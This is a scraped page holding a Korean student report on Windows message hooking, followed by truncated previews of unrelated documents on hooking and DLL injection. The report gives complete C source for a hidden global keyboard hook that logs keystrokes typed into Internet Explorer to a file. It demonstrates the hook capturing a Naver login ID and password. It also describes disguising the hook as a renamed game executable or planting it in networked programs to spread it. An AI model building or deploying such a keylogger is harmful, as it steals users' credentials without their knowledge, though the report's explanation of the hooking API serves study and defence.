IS119_Message.Hooking_이성재.hwp

Size: px
Start display at page:

Download "IS119_Message.Hooking_이성재.hwp"

Transcription

1 Message Hooking 이성재

2 Content 1. 목적 1 2. 윈도우 NT 환경에서의메시지처리 메시지큐를이용한메시지처리 윈도우프로시저에직접메시지전달 3 3. 메시지후킹이란 메시지후킹의개념정의 메시지후킹의유포방법 3 4. 후킹프로시저제작 사전지식 메시지후킹프로그램작성 3 5. 실험및결과 5 6. 결론 6 참고문헌 7

3 1. 목적 이문서의제작은본목적을망각한엉뚱한곳에서출발하게되었다. 처음문서를작성하 고자마음을먹으면서정한주제는분명 DLL injection을이용한 Key Hooking 이었다. 문서를 작성하는어느누구든지 DLL injection에대한자료를모으기를시작함과동시에공부하게된 것이다. 하지만, 본작가는 Key Hooking 에대한자료를먼저모았으면서, 또 Message Hooking 이라는주제에대해공부를하고있었다. 이렇게엉터리에터무니없이시작된 Message Hooking 문서이지만, 보안을위하여밤샘공 부하는이들에게조그마한도움이되진않을까? -3-

4 2. 윈도우 NT 환경에서의메시지처리 본주제인 Message Hooking 에대한공부를원한다면, 목표대상이될 Message에대해서 알아야하며어떻게생성되고어떻게처리되는지에대한이해가필요하다. 이벤트발생 메시지전송 메시지처리 화면에출력 [ 표.1] 윈도우에서의메시지처리과정 기본적틀은위와같다. 키보드나마우스등의입력장치로부터이벤트가발생하게되면이 를 CPU 에알리기위해서메시지를생성하고전송하며, 이를처리하여다시출력장치로결과 값을보여주는등의기본적인일련의과정이윈도우에서의메시지처리방식이다. 메시지발 생이키보드혹은마우스등의입력에서만발생하는것은아니다. 메시지는마우스의움직임 이라든지, 윈도크기가변경되었다든지시스템색을변경했다든지하는상태변화등에의해 서도메시지는발생될수있다. 이제세번째단계로넘어가서, 발생한메시지의처리를다루어야한다. 메시지의처리에 는두가지의방법이주로다루어지고있는데, 그첫번째가각애플리케이션마다가지고 있는메시지큐에메시지를추가하는방법이고, 다음으로는메시지의신속한처리를위하여 애플리케이션의윈도우프로시저에직접메시지를전달하는방식이다. [ 그림.1] 윈도우메시지의처리모식도 -4-

5 2.1. 메시지큐를이용한메시지처리 메시지큐는 FIFO(First In First Out) 구조로동작하며임시로메시지를저장한다. 애 플리케이션의메시지큐에저장된메시지는애플리케이션의 된순서대로처리되는데 WinMain WinMain 함수에서큐에저장 함수는지속적으로큐를검사해서메시지가있으면적절 한윈도우에메시지를전달하고그메시지를메시지큐에서삭제하며메시지큐에 WM_QUIT 메시지가들어올때까지이런작업을반복한다 윈도우프로시저에직접메시지전달 애플리케이션의각윈도우는메시지를실제로처리해주는윈도프로시저라는것을가지 고있다.RegisterClass나 RegisterClassEx API를이용해서윈도클래스를등록할때윈도 우프로시저를지정하게되어있고 CreateWindowsEx등의 API로등록한윈도클래스의인스 턴스를생성하면그윈도의메시지는등록할때지정한윈도프로시저에게보내진다. 윈도 우프로시저는네개의인자를가지는함수로선언하며보통 case 문을사용해서구현한다. [ 그림.2] 윈도우프로시저에메시지를전달하는기본적인형태 위의소스는간단한틀을보여주기위함이지특별한의미를가지고있는것은아니다. 앞 서설명한바와같이윈도우프로시저에메시지를직접적으로전달하기위해서는네개의인 자를가지는함수를선언하며 case 문을채택했음을확인할수있다. 이제함수에서원하던 네개의인자값들이각각무엇을뜻하는지확인해보자. 윈도우프로시저의첫번째인자인 hwnd는메시지를받는윈도의핸들을나타내며두번째 인자 message 는처리할메시지를나타낸다.Messages.pas 유닛에정의되어있다. 세번째, 네번째인자인wParam과 lparam은 message에어떤메시지가들어오느냐에따라다른의미를 가지는데, 예로 message가 WM_LBUTTONDOWN 메시지의경우 wparam 은눌려진키에대한가상 코드가넘어오고 lparam 에는현재마우스포인터의위치가넘어온다는것을들수있다. -5-

6 3. 메시지후킹이란 이문서가메시지후킹에대해서다룬다고하였으면서도메시지의생성과처리에대해서만나열해놓았는데, 이제부터라도본격적으로본주제로들어가보자 메시지후킹의개념정의 일단훅에대해서알아보자. 훅이란단어는 낚싯바늘, 갈고리 라는뜻외에도 ~ 을 낚싯바늘로낚다 라는뜻도가지고있다. 즉. 후킹이라는것은하나이상의운영체제시스 템이나프로그램에서원하는정보를빼온다는것으로정의내릴수있는데, 조금더확실을 기하기위해서 google 社가운영하고있는검색엔진을이용하였다. google 社가운영하고 있는검색엔진에서는후킹에대해서다음과같이정의하고있다. Ahook is apoint in the system message-handling mechanism where an application can install asubroutine to monitor the message traffic in the system and process certain types of messages before they reach the target window procedure. 즉, 후킹이란시스템과프로세스사이에서윈도우프로시저로넘어가는메시지를빼돌려내어확인하는일련의행위를이르는말인것이다. 그렇다면이제 Message Hooking, 이다. Message Hooking 에대해서확실하고정확한정의를내릴수있게되었다. 즉우리가원하는메시지후킹은후킹의대상이메시지가된것뿐인것 3.2. 메시지후킹의유포방법 메시지후킹의침입경로를알고자하는사람은누가있을까? 일단크래커를들수있겠다. 메시지후킹을담당하는프로그램이나소스를개발하였다고하여서끝일까? 자신의 PC에메 시지후킹프로그램을동작시켜서자신이무슨일을하는지감시하고싶은변태가아니라면 타인의 PC 나서버에메시지후킹프로그램을설치하고싶을것이다. 비단크래커뿐만이아 니라보안전문가들도메시지후킹의전달방법에대해서궁금증을호소할것이다. 크래커가 악의적인행동을하려는데 예, 어서오세요 하며맞이해주는곳은어디에도없기때문이 다. 1) 바이러스이용 메시지후킹을전달하는과정에서가장큰문제는프로그램이이것저것쓸모없는데이터 를마구잡이로가져와서데이터를기록하는파일을짧은시간에채워버린다는것이다. 따라 서제대로된(?) 메시지후킹을위해서는목적프로그램의이름으로후킹프로그램의이름 을바꾼다음, 후킹기능을설치한후실행하는것이효율적이다. 하나의예를들어보자. 우리들이가장즐겨하는게임중의하나인스타크래프트( 딴죽걸지말도록하자스타크래프 -6-

7 트는아직도동시접속자수가 10 만을넘고있는대단한게임이다) 를후킹한다고하자. 이 실행파일의이름은 broodwar.exe 이다. 먼저이실행파일의이름을 broodwar_origin.exe로 바꾼다음, 해킹용실행파일을 broodwar.exe. 로바꾼다. 이어서실제후킹기능을수행하 는프로그램에서 WM_CREATE 메시지처리부분의맨아래에 winexec( "broodwar_origin.exe", SW_SHOW); 이와같은소스를첨가하면,broodwar에서주고받아지는메시지에대한데이터를잡아낼수있다. 스타크래프트의경우수많은패킷과메시지가왔다갔다하기때문에큰이점은없을뿐더러메시지를어떻게이용할지막막하겠지만단순히예를든것이기때문에가볍게넘어가도록하자. 2) 네트워크를통한메시지후킹유포 네트워크를통한메시지후킹이라고하여새로운방법으로제시해놓았지만, 그내용을살 펴본다면위에서본것과많은차이를가지지않는다. 단지애플리케이션을손댈때, 그 대상이어떻게되느냐에따른것이다. 네트워크를지원하는프로그램에후킹을하는루틴을 집어넣으면되는데, 이렇게간단하게적어놓은몇글자가큰의미를가지고있다. 네트워 크를지원하는프로그램에후킹을하는루틴을심어놓았다는것은갈무리한정보가네트워 크로도보낼수있다는것을의미하기때문이다. 그렇다는것은피해대상이기하급수적으 로늘어난다는것을시사한다. 4. 후킹프로시저제작 본격적으로메시지후킹에사용될프로시저를작성해보자. 은개념적인부분이필요한데, 무엇이필요한지살펴보자. 후킹프로시저의제작에는많 4.1. 사전지식 윈도우프로그래밍공부를하다보면핸들과 DLL 에대해서자주언급됨을볼수있다. 과 연이들은무엇이며, 어디에사용되는것일까? 1) 핸들 핸들이란구체적인어떤대상에붙여진번호이며문법적으로는 32비트의정수값을가진 다. 만들어진윈도우에는윈도우핸들을붙여윈도우를번호로관리하며아직은잘모르겠 지만 DC 에대해서도핸들을사용하고논리적펜, 브러시에도핸들을붙여관리한다. 심지어 메모리를할당할때도할당한메모리의번지를취급하기보다는메모리에번호를붙인메모 리핸들을사용한다. 왜이렇게핸들을자주사용하는가하면대상끼리의구분을위해서는 문자열보다정수를사용하는것이훨씬더속도가빠르기때문이다. -7-

8 2) DLL DLL 의필요성에대한예제로는인터넷에서찾아본것이적절할것같다. 2가구의주택이 나란히있다고가정해보자. 각자의가구에서담장이쳐져있다고하면각주택은각자의주 차공간을가진것이며상대방의차량이있는지? 혹은없는지? 어떤차인지? 에대한정보 를얻을수없다. 그런데 2 가구의주택에서합의를보고담장을허물었다고생각을해보자. 당연히공통된주차공간이생기며담장이철거전에는알수없었던정보(?) 를알수있게 된다. 여기서공통된주차공간을위해담장을허무는역할을하는것이 DLL 이다. 메시지를 후킹하기위해서는메시지가지나가는곳에설치해야하지않겠는가? 그래서메시지후킹 프로그램을 DLL 형식으로작성하여공동작업환경에집어넣는것이다. 그럼 DLL 이란진정으로무엇을의미하는것인가? DLL 은 Dynamic Link Library' 의약자로서동적으로링킹을하는라이브러리파일들을 이르는말이다. 링크될때라이브러리파일에서특정함수들의기능이구현된부분이실행 파일에같이덧붙여지는정적링크라이브러리와는달리 될때 DLL 리를이용한다. Windows System은프로그램이실행 파일로부터특정함수들의구현된부분을동적으로링크하는동적링크라이브러 4.2. 메시지후킹프로그램작성 1) 훅프로시저의설치 훅체인에등록되어메시지를감시하는함수를후킹프로시저또는훅프로시저라고한 다. 여기훅에도많은타입을가지고있는데, 각타입에따라훅프로시저의인수나리턴 값의의미가달라진다. SetWindowsHookEx( ); int idhook, HOOKPROC lpfn, HINSTANCE hmod, DWORD dwtreadid [ 표.2] 훅프로시저설치함수 훅프로시저를설치하기위해서는기본적으로위와같이 SetWindowsHookEx() 함수를사용하 여야하는데, 안에있는네개의인자값에대해차례대로설명하겠다. 첫번째인자값인 idhook 훅의종류를결정한다. 그리고 lpfn은지정한이벤트가발생했을때그처리를부탁할 프로시저의주소이다. 세번째 hmod는 lpfn이있는 DLL 의시작첫주소를가리킨다. 그리고 dwthreadid는감시할 Thread의 ID 이다. 네번째값이 0으로리턴될경우모든 Thread에서발 -8-

9 생하는메시지가훅프로시저로전달된다. 다음은 idhook 에서나타내는훅의종류를나타낸표이다. 자신이작업하고자하는훅프로 시저를설치할때유용하게사용되리라고생각한다. 훅타입 WH_CALLWNDPROC WH_CALLWNDPROCRET WH_CBT WH_DEBUG WH_GETMESSAGE WH_JOURNALRECORD WH_JOURNALPLAYBACK 설명 SendMessage 함수로메시지를보내기전에훅프로시저가 호출된다. 메시지를처리한후에훅프로시저가호출된다. 전달되는 구조체에는메시지와메시지를처리한리턴값을담고있 다. 윈도우를생성, 파괴, 활성화, 최대, 최소, 이동, 크기변 경하기 등의시스템명령을처리하기전에훅프로시저가 호출된다. 이훅은컴퓨터를이용한훈련프로그램에서주 로사용된다. 다른타입의훅프로시저를호출하기전에이타입의훅 프로시저를호출하며다른타입의훅프로시저호출을허 가할것인지를결정한다. GetMessage나 PeekMessage 함수로조사되는메시지를감시 한다. 키보드나마우스를통해입력되는이벤트를감시하고기록 한다. 기록된이벤트는 WH_JOURNALPLAYBACK 훅에서재생할 수있다. 이훅은전역및특정스레드에설치가능하다. 시스템메시지큐에메시지를삽입할수있도록한다. 이 훅에서 WH_JOURNALRECORD 훅에서기록한키보드마우스입 력을재생할수있다. 이훅이설치되어있으면마우스나 키보드입력은금지된다. WH_KEYBOARD WM_KEYDOWN, WM_KEYUP 등의키보드메시지를감시한다. WH_MOUSE 마우스메시지를감시한다. 메뉴, 스크롤바, 메시지박스, 대화상자등에의해처리되 WH_MSGFILTER WH_SYSMSGFILTER WH_SHELL WH_KEYBOARD_LL WH_MOUSE_LL 는메시지와사용자의 Alt+Esc키입력에의한포커스이동 을감시한다. 훅프로시저를설치한프로그램에대해서만 동작한다. WH_MSGFILTER 와같으며모든프로그램에대해동작한다. 쉘프로그램이활성화되거나새로운최상위운도우가만들 어지거나파괴될때이훅프로시저가호출된다. 스레드의입력큐에붙여지는키보드입력메시지를감시 한다. WH_KEYBOARD보다더저수준의메시지를받을수있 지만 NT4.0 SP3 이후에만사용할수있다. 스레드의입력큐에붙여지는마우스입력메시지를감시 한다. [ 표.3] 훅의종류 -9-

10 2) 훅프로시저를설치하는 DLL파일만들기 #include <windows.h> //.kbdata라는이름의커스텀섹션에변수선언 #pragma data_seg(".npdata") HINSTANCE hmodule=null; HHOOK hkeyhook=null; HWND hwndbeeper=null; #pragma data_seg() #pragma comment (linker, "/SECTION:.npdata,RWS") // 메시지를처리하는 KeyHookProc함수 LRESULT CALLBACK KeyHookProc(int ncode, WPARAM wparam, LPARAM \ { lparam) if (ncode>=0) { // 사용자정의메시지를훅에넘겨줌 SendMessage(hWndBeeper, WM_USER+1, wparam, lparam); //CallNextHookEx함수를호출 return CallNextHookEx(hKeyHook, ncode, wparam, lparam); // 훅프로시저생성함수 extern "C" declspec(dllexport) void InstallHook(HWND hwnd) { hwndbeeper=hwnd; //KeyHookProc 함수를전역훅으로설치 // 키보드입력만을처리함 hkeyhook=setwindowshookex(wh_keyboard,keyhookproc,hmodule,null); extern "C" declspec(dllexport) void UninstallHook() { // 훅프로시저제거함수 UnhookWindowsHookEx(hKeyHook); // 프로시저제거 -10 -

11 BOOL WINAPI DllMain(HINSTANCE hinst, DWORD fdwreason, LPVOID lpres) { switch (fdwreason) { case DLL_PROCESS_ATTACH: // 훅을소유한모듈을지정하기위해전역변수에저장 hmodule=hinst; break; case DLL_PROCESS_DETACH: break; return TRUE; [ 표.4] 훅프로시저를설치할 DLL파일 위의소스를컴파일하면후킹을위한 Dll 파일이생성된다. 소스만을보여주고몇줄안 되는주석만을담았는데, 간단히한편살펴보자. 우선어떤프로세스의주소공간에서실행되든항상동일한값을참조하기위해.kbdata라 는커스텀섹션공간에 hkeyhook, hmodule, hwndbeeper' 변수를선언한다. hkeyhook은훅 프로시저의핸들값이며 hmodule 은인스턴스의핸들값을의미한다. InstallHook함수는자 신을호출하는훅의윈도우핸들을넘겨받아 hwndbeeper 변수에저장하는데, 이변수는 KeyHookProc함수에서 SendMessage 함수에서인자값으로사용한다. SetWindowsHookEx() 함수 의첫번째인자를보시면 하였다. WH_KEYBOARD상수를사용하여키보드관련메시지만을처리하도록 3) 훅프로시저 off 앞에서훅프로시저를설치하는 DLL 파일을만들어보았다. 그런데훅프로시저를항상작 동시킨다는건사실상불가능한일이다. 실제메시지처리루틴에서는각종메시지가쏟아 진다. 그것도 1 초에수십에서수백개의메시지가말이다. 이렇게많은메시지를계속받아 들인다면머지않아서메시지를기록하는파일이가득차고말것이다. 이를예방하기위해서 해커들은자신이원하는메시지만을보기위해서필터링기능을부연하는경우도있지만, 이 것도그렇게큰효용을못내고있다. 이에우리는훅프로시저의정지를위한작업을해 주어야한다. 설치된후킹프로시저를제거하기위해서는 UnhookWindowsHookEx() 가쓰이게 된다. 이제사용법을알아보고앞에서만들프로젝트에적용해보길바란다

12 BOOL UnHookWindowsHookEx( ); HHOOK hhk [ 표.5] UnHookWindowsHookEx() 함수모델 UnHookWindowsEx() 에서 hhk 는정지할프로시저의핸들값을말하는것이다. 이값은앞에 서 SetWindowsHookEx() 에서받아들이게되는데, 이핸들값을기초로해서 UnHookWindowsEx 함수가어떠한것을정지할지결정하게된다. 4) 메시지후킹프로그램제작 메시지후킹프로그램을작성하기전에, 앞에서작성했던 dll파일을프로젝트에세팅해야 한다. 메뉴 -> Project -> Setting -> Link 탭의 object/library modules에자신이작성한 dll 파일의이름을설정 [ 표.6] dll파일세팅 [ 그림.3] dll파일세팅 [ 그림.4] dll파일실행화면 -12 -

13 메시지후킹에대한사전준비를모두맞췄으니이제본격적으로프로그램을만들어보자. 프로그램에대한전반적인것을작성해보고싶었지만, 계속되는오류로인해많은차질이 빚어진관계로이은규님의 따라해보는후킹 이라는제목의문서를조금참조하였다. #include <windows.h> #include "../HookDll/HookDll.h" LRESULT CALLBACK WndProc(HWND,UINT,WPARAM,LPARAM); // 메시지처리함수선언 TCHAR good[1024]; LPCTSTR lpszclass=text("ixplorhook"); // 후킹한문자저장공간 int APIENTRY WinMain(HINSTANCE hinstance,hinstance hprevinstance,lpstr lpszcmdparam,int ncmdshow) { HWND hwnd; MSG Message; WNDCLASS WndClass; //WinMain 함수 WndClass.cbClsExtra=0; WndClass.cbWndExtra=0; WndClass.hbrBackground=(HBRUSH)(COLOR_WINDOW+1); WndClass.hCursor=LoadCursor(NULL,IDC_ARROW); WndClass.hIcon=LoadIcon(NULL,IDI_APPLICATION); WndClass.hInstance=hInstance; WndClass.lpfnWndProc=WndProc; WndClass.lpszClassName=lpszClass; WndClass.lpszMenuName=NULL; WndClass.style=CS_HREDRAW CS_VREDRAW; RegisterClass(&WndClass); // 윈도우생성 hwnd=createwindow(lpszclass,lpszclass,ws_overlappedwindow, CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT, NULL,(HMENU)NULL,hInstance,NULL); // 윈도우를보여주는함수 -13 -

14 //ShowWindow(hWnd,nCmdShow); // 보이지않게하기위해제거 while (GetMessage(&Message,NULL,0,0)) { TranslateMessage(&Message); DispatchMessage(&Message); return (int)message.wparam; // 메시지루프 // 실질적으로메시지를처리 LRESULT CALLBACK WndProc(HWND hwnd,uint imessage,wparam wparam,lparam lparam) { HWND hfgwnd; HANDLE hfile; DWORD dwwritten; TCHAR szclass[32]; static int i=0; // 찾고자하는윈도우의핸들저장 // 쓸파일핸들 // 쓴바이트저장변수 // 클래스네임저장 switch (imessage) { case WM_CREATE: InstallHook(hWnd); return 0; case WM_USER+1: // 윈도우를생성할때훅프로시저설치 // 사용자정의메시지처리 // 메시지가발생한윈도우핸들을가져옴 hfgwnd=getforegroundwindow(); GetClassName(hFGWnd,szClass,32); // 클래스네임을 szclass에저장 if(lstrcmpi(szclass,"ieframe")==0 && (lparam &0x )==0) { if((tchar)wparam == (TCHAR)0x0d) { // 엔터값이면파일에저장 // 저장되면마지막이라는걸나타내줌 -14 -

15 good[i++] =0x0d; good[i++] ='n'; good[i++] ='e'; good[i++] ='w'; good[i++] =0x0d; good[i] =0; // 파일열기 hfile=createfile("c:\\testfile.txt", GENERIC_WRITE,0,NULL, OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL); // 파일이존재하지않으면생성 if(hfile == INVALID_HANDLE_VALUE){ hfile=createfile("c:\\testfile.txt", GENERIC_WRITE,0,NULL, CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL); // 파일이존재하면포인터를파일의끝을나타나게함 else SetFilePointer(hFile, 0, NULL, FILE_END); return 0; case WM_DESTROY: WriteFile(hFile, good, // 저장해놓은문자열을파일에씀 lstrlen(good), &dwwritten, NULL); CloseHandle(hFile); i = 0; // 배열을초기화 // 백스페이스키면저장공간을하나앞으로당김 else if((tchar)wparam == (TCHAR)0x08) { else { UninstallHook(); i--; good[i++] =(TCHAR)wParam; good[i] =0; // 나머지키는배열에저장 // 프로그램이종료되면훅프로시저를제거 -15 -

16 PostQuitMessage(0); return 0; return(defwindowproc(hwnd,imessage,wparam,lparam)); [ 표.7] 메시지를처리하는훅파일소스 위소스를살펴보자. WndProc() 함수에서실질적으로후킹을한메시지를처리합니다. 처음윈도우가실행되면, WM_CREATE 메시지를받는다. 그러면 InstallHook() 함수를호출하여전역훅을설치한다. 그리고프로그램이종료되면 UninstallHook() 함수를호출하여설치한훅을제거한다. 위소스에서가장핵심적인부분은 WM_USER+1 메시지가발생할때인데, 후킹된메시지가 발생되어처리되는부분이다.WM_USER+1 메시지가발생하면우선메시지가발생한윈도우의 윈도우핸들을체크하여인터넷창에서발생한메시지인지를확인해야한다. 이파일의 목적은인터넷에서발생한키만을저장하는것이목적이므로다른창에서발생한메시지는 무시하도록한다. 만약키입력시에 Enter 키를누르게되면,result.txt 파일을열어서 저장하도록작성하였다. 좀더자세히보면문자키가입력되면 good 이라는배열에 차근차근입력하고, 백스페이스키가발생하면배열의위치를나타내는변수를하나 감소시켜삭제하는효과를나타내도록하였다.Enter 키를사용하면배열의마지막에 new 라는문구가뜨면서메시지후킹의피해자가무엇을입력하고자하였는지알수있도록 하였다

17 5. 실험및결과 작성한프로그램을실행한후에네이버사이트 ( 에서의로그인후 메시지후킹을확인해보겠다. [ 그림.5] 네이버사이트의로그인인증 인증시에 ID 로는 'einsstar' 를 Password 로는 asdf1234' 를입력해보았다. [ 그림.6] result.txt의확인 위와보는바와같이일단 C 드라이브에 result.txt 라는파일이생성되었음을볼수 있다. 이제이파일을확인하여보자. [ 그림.7] result.txt 파일내용확인 위의그림을확인하여보면ID와 Password 를정확히후킹했음을확인할수있다

18 5. 결론 메시지후킹이라는잘알려진비법으로인하여자신도모르는사이에계좌에서돈이나가고자신의정보가세어나가는등의피해가아직도지속되고있다. 간단한방법으로도이런사태를예방할수있음에도불구하고아직까지많은사람들이보안에대해서무지한경우가많다. 이문서를읽으려고했던당신이라면무지한사람을위해발벗고나서야하지않을까? 아직도많이부족한문서이지만더욱더훌륭한정보로가득찼으면한다

19 참고문헌 [1] 김성우, 해킹, 파괴의광학, 와이미디어,2006년 12월 20일 [2] 김상형, 윈도우즈 API 정복 Vo.1", 한빛미디어,2006년 6월 26일 [3] 김상형, 윈도우즈 API 정복 Vo.2", 한빛미디어,2006년 6월 26일 [4] 이은규, 따라해보는후킹, 11월 2일 -19 -

개요 1. 후킹이란? 후킹의정의.. 2 후킹의종류 2 앞으로 후킹프로그램을위한사전지식들 Window 에서 data 입력과정.. 3 DLL ( Dynamic Link Library ).. 4 메시지후킹을위해필요한지식들 5 3. 후킹프로그램제작에필요한 API

개요 1. 후킹이란? 후킹의정의.. 2 후킹의종류 2 앞으로 후킹프로그램을위한사전지식들 Window 에서 data 입력과정.. 3 DLL ( Dynamic Link Library ).. 4 메시지후킹을위해필요한지식들 5 3. 후킹프로그램제작에필요한 API 개요 1. 후킹이란? 후킹의정의.. 2 후킹의종류 2 앞으로...2 2. 후킹프로그램을위한사전지식들 Window 에서 data 입력과정.. 3 DLL ( Dynamic Link Library ).. 4 메시지후킹을위해필요한지식들 5 3. 후킹프로그램제작에필요한 API 함수소개 SetWindowsHookEx 함수 5 UnhookWindowsHookEx 함수 5

More information

1장 윈도우 프로그래밍 들어가기

1장 윈도우 프로그래밍 들어가기 1 장 윈도우프로그래밍들어가기 김성영교수 금오공과대학교 컴퓨터공학부 예제 다음프로그램은언제종료할까? #include #define QUIT -1 int Func(void) int i; cout > i; return i; void main(void) int Sum = 0, i; cout

More information

Microsoft PowerPoint - 09-CE-5-윈도우 핸들

Microsoft PowerPoint - 09-CE-5-윈도우 핸들 순천향대학교컴퓨터학부이상정 1 학습내용 윈도우핸들 윈도우찿기 윈도우확인및제거 윈도우숨기기 윈도우포커스 윈도우텍스트 윈도우핸들 순천향대학교컴퓨터학부이상정 3 핸들 (handle) 윈도우에서구체적인어떤대상을구분하기위해지정되는고유의번호 32비트의정수값 핸들은운영체제가발급하고사용자가이값을사용 실제값이무엇인지는몰라도상관없음 윈도우, DC, 브러쉬등등 순천향대학교컴퓨터학부이상정

More information

Content 1. DLL? 그게뭐야?

Content 1. DLL? 그게뭐야? DLL Injection 은어떻게이루어지는가? By bl4ck3y3 (http://hisjournal.net/blog) Abstract 루트킷을비롯하여바이러스, 악성코드등여러분야에두루쓰이는기법이 DLL Injection입니다. Windows에한정되어적용되는것이지만, Windows 자체의점유율이높은이유로아주효과적으로공격자가원하는작업을수행할수있는방법이죠. 최근루트킷에대해공부하면서이

More information

<4D F736F F F696E74202D203031C0E520C0A9B5B5BFEC20C7C1B7CEB1D7B7A1B9D620B1E2C3CA5FBFB5B3B2C0CCB0F8B4EB205BC8A3C8AF20B8F0B5E55D>

<4D F736F F F696E74202D203031C0E520C0A9B5B5BFEC20C7C1B7CEB1D7B7A1B9D620B1E2C3CA5FBFB5B3B2C0CCB0F8B4EB205BC8A3C8AF20B8F0B5E55D> 01 : 윈도우프로그래밍기초 학습목표 윈도우운영체제와윈도우응용프로그램의특징을이해한다. SDK 응용프로그램작성과정, 기본구조, 동작원리를이해한다. MFC 응용프로그램작성과정, 기본구조, 동작원리를이해한다. 비주얼 C++ 개발환경사용법을익힌다. 윈도우운영체제특징 (1/3) 그래픽사용자인터페이스 1 윈도우운영체제특징 (2/3) 메시지구동구조 이벤트발생... 대기

More information

Microsoft PowerPoint - 04windows.ppt

Microsoft PowerPoint - 04windows.ppt Game Programming I Windows 프로그래밍 (1) March 27, 2006 목표 윈도우프로그래밍에서이용되는이벤트구동프로그래밍모델의이해 Direct3D 를이용하는윈도우어플리케이션의작성을위한최소한의코드이해 윈도우 (Win32) 어플리케이션 Direct3D API ( 어플리케이션프로그래밍인터페이스 ) 를이용하기위해필요 Win32 API 를이용해작성

More information

MFC 프로그래밍

MFC 프로그래밍 윈도우프로그래밍 Visual C++ 2010 MFC Programming 1 장. 윈도우프로그래밍기초 윈도우운영체제의특징 그래픽사용자인터페이스 시스템메뉴타이틀바메뉴최소 / 최대 / 닫기버튼 툴바 대화상자 클라이언트영역 상태표시줄 스크롤바 윈도우운영체제의특징 메시지구동구조 윈도우운영체제의특징 멀티태스킹과멀티스레딩 멀티태스킹 (Multitasking) 운영체제가여러개의응용프로그램을동시에실행

More information

예제와 함께 배워보는 OllyDbg사용법

예제와 함께 배워보는 OllyDbg사용법 초보자를위한예제와함께 배워보는 OllyDbg 사용법 -1 부 - By Beist Security Study Group (http://beist.org) 요약 : 이문서는 Ollydbg 프로그램을이용하여 Reverse Engineering을하는방법에대해서다룬다. 초보자를위하여작성된문서이며예제와함께 Ollydbg의각기능에대해서알아본다. 주로기초적인내용을다루고있다.

More information

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx #include int main(void) { int num; printf( Please enter an integer "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 을 작성하면서 C 프로그램의

More information

Microsoft Word - hook1.doc

Microsoft Word - hook1.doc 개발자를위한윈도우후킹테크닉 키보드모니터링프로그램만들기 후킹이란다른프로세스의실행경로를가로채는것을말한다. 윈도우프로그래머들이밥먹듯이하는서브클래싱 ( 윈도우메시지핸들러를가로채서컨트롤의기능을확장하는방법 ) 도후킹의한종류라할수있다. 이번강좌는 Windows Hook 을하는함수들을소개하고, 그것들을이용해서키로거를만들어본다. 목차 목차...1 필자소개...1 연재가이드...2

More information

Microsoft Word - hook4.doc

Microsoft Word - hook4.doc 개발자를위한윈도우후킹테크닉 SendMessage 후킹하기 지난시간에 WH_GETMESSAGE 훅을통해서메시큐에서메시지가처리되는과정을후킹해보았다. 이번시간에는 WH_CALLWNDPROC, WH_CALLWNDRETPROC 훅을통해서 SendMessage 의처리과정을후킹하는방법과다수의훅프로시저를설치한경우에동기화하는방법에대해서설명할것이다. 목차 목차...1 필자소개...1

More information

Microsoft PowerPoint - chap06-2pointer.ppt

Microsoft PowerPoint - chap06-2pointer.ppt 2010-1 학기프로그래밍입문 (1) chapter 06-2 참고자료 포인터 박종혁 Tel: 970-6702 Email: jhpark1@snut.ac.kr 한빛미디어 출처 : 뇌를자극하는 C프로그래밍, 한빛미디어 -1- 포인터의정의와사용 변수를선언하는것은메모리에기억공간을할당하는것이며할당된이후에는변수명으로그기억공간을사용한다. 할당된기억공간을사용하는방법에는변수명외에메모리의실제주소값을사용하는것이다.

More information

2014 년정보보호졸업작품보고서 파일유출방지시스템 지도교수님 : 양환석교수님 팀명 : LKC Security 팀원 : 이호영, 김상우, 최유택 중부대학교정보보호학과

2014 년정보보호졸업작품보고서 파일유출방지시스템 지도교수님 : 양환석교수님 팀명 : LKC Security 팀원 : 이호영, 김상우, 최유택 중부대학교정보보호학과 2014 년정보보호졸업작품보고서 파일유출방지시스템 지도교수님 : 양환석교수님 팀명 : LKC Security 팀원 : 이호영, 김상우, 최유택 2014. 5 중부대학교정보보호학과 목 차 1. 프로젝트설명 1 2. 연구계획 1 2.1 연구목적 1 2.2 연구방법 2 2.3 연구개요 2 2.4 연구구성도 3 3. 연구프로그램구축 5 3.1 주요소스 5 3.2 실행결과

More information

Microsoft Word - hook8.doc

Microsoft Word - hook8.doc 개발자를위한윈도우후킹테크닉 WH_DEBUG 훅을이용한훅탐지방법 지금까지우리는다양한종류의훅을사용해서다른프로그램으로전달되는메시지를가로채는방법을법을배웠다. 이번시간에는 WH_DEBUG 훅을사용해서훅프로시저를탐지하는방법에대해서다룬다. 목차 목차...1 필자소개...1 연재가이드...1 연재순서... 오류! 책갈피가정의되어있지않습니다. 필자메모...2 Intro...2

More information

윈도우즈 프로그래밍

윈도우즈 프로그래밍 윈도우프로그래밍및실습 002. 윈도우프로그래밍의기본 DB & MINING LAB. Korea University since 2007. 09. 03 updated 2012. 08. 18 last updated 2015. 08. 25 이종욱 eastwest9@korea.ac.kr 1 Purpose of this chapter What is a Window programming

More information

슬라이드 1

슬라이드 1 -Part3- 제 4 장동적메모리할당과가변인 자 학습목차 4.1 동적메모리할당 4.1 동적메모리할당 4.1 동적메모리할당 배울내용 1 프로세스의메모리공간 2 동적메모리할당의필요성 4.1 동적메모리할당 (1/6) 프로세스의메모리구조 코드영역 : 프로그램실행코드, 함수들이저장되는영역 스택영역 : 매개변수, 지역변수, 중괄호 ( 블록 ) 내부에정의된변수들이저장되는영역

More information

04장 메시지 처리 유형

04장 메시지 처리 유형 4 장 메시지처리유형 김성영교수 금오공과대학교 컴퓨터공학부 메시지처리유형 윈도우에서발생하는이벤트에대응하는윈도우메시지를처리 2 장및 3 장의실습예제 자식윈도우에서발생한이벤트를부모윈도우에서처리 WM_COMMAND 메시지처리 실습 4.2 자식윈도우에서발생한사건유형을구분하여처리 Notification code 처리 실습 4.7 Notification code 의한계를극복하여처리

More information

임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과

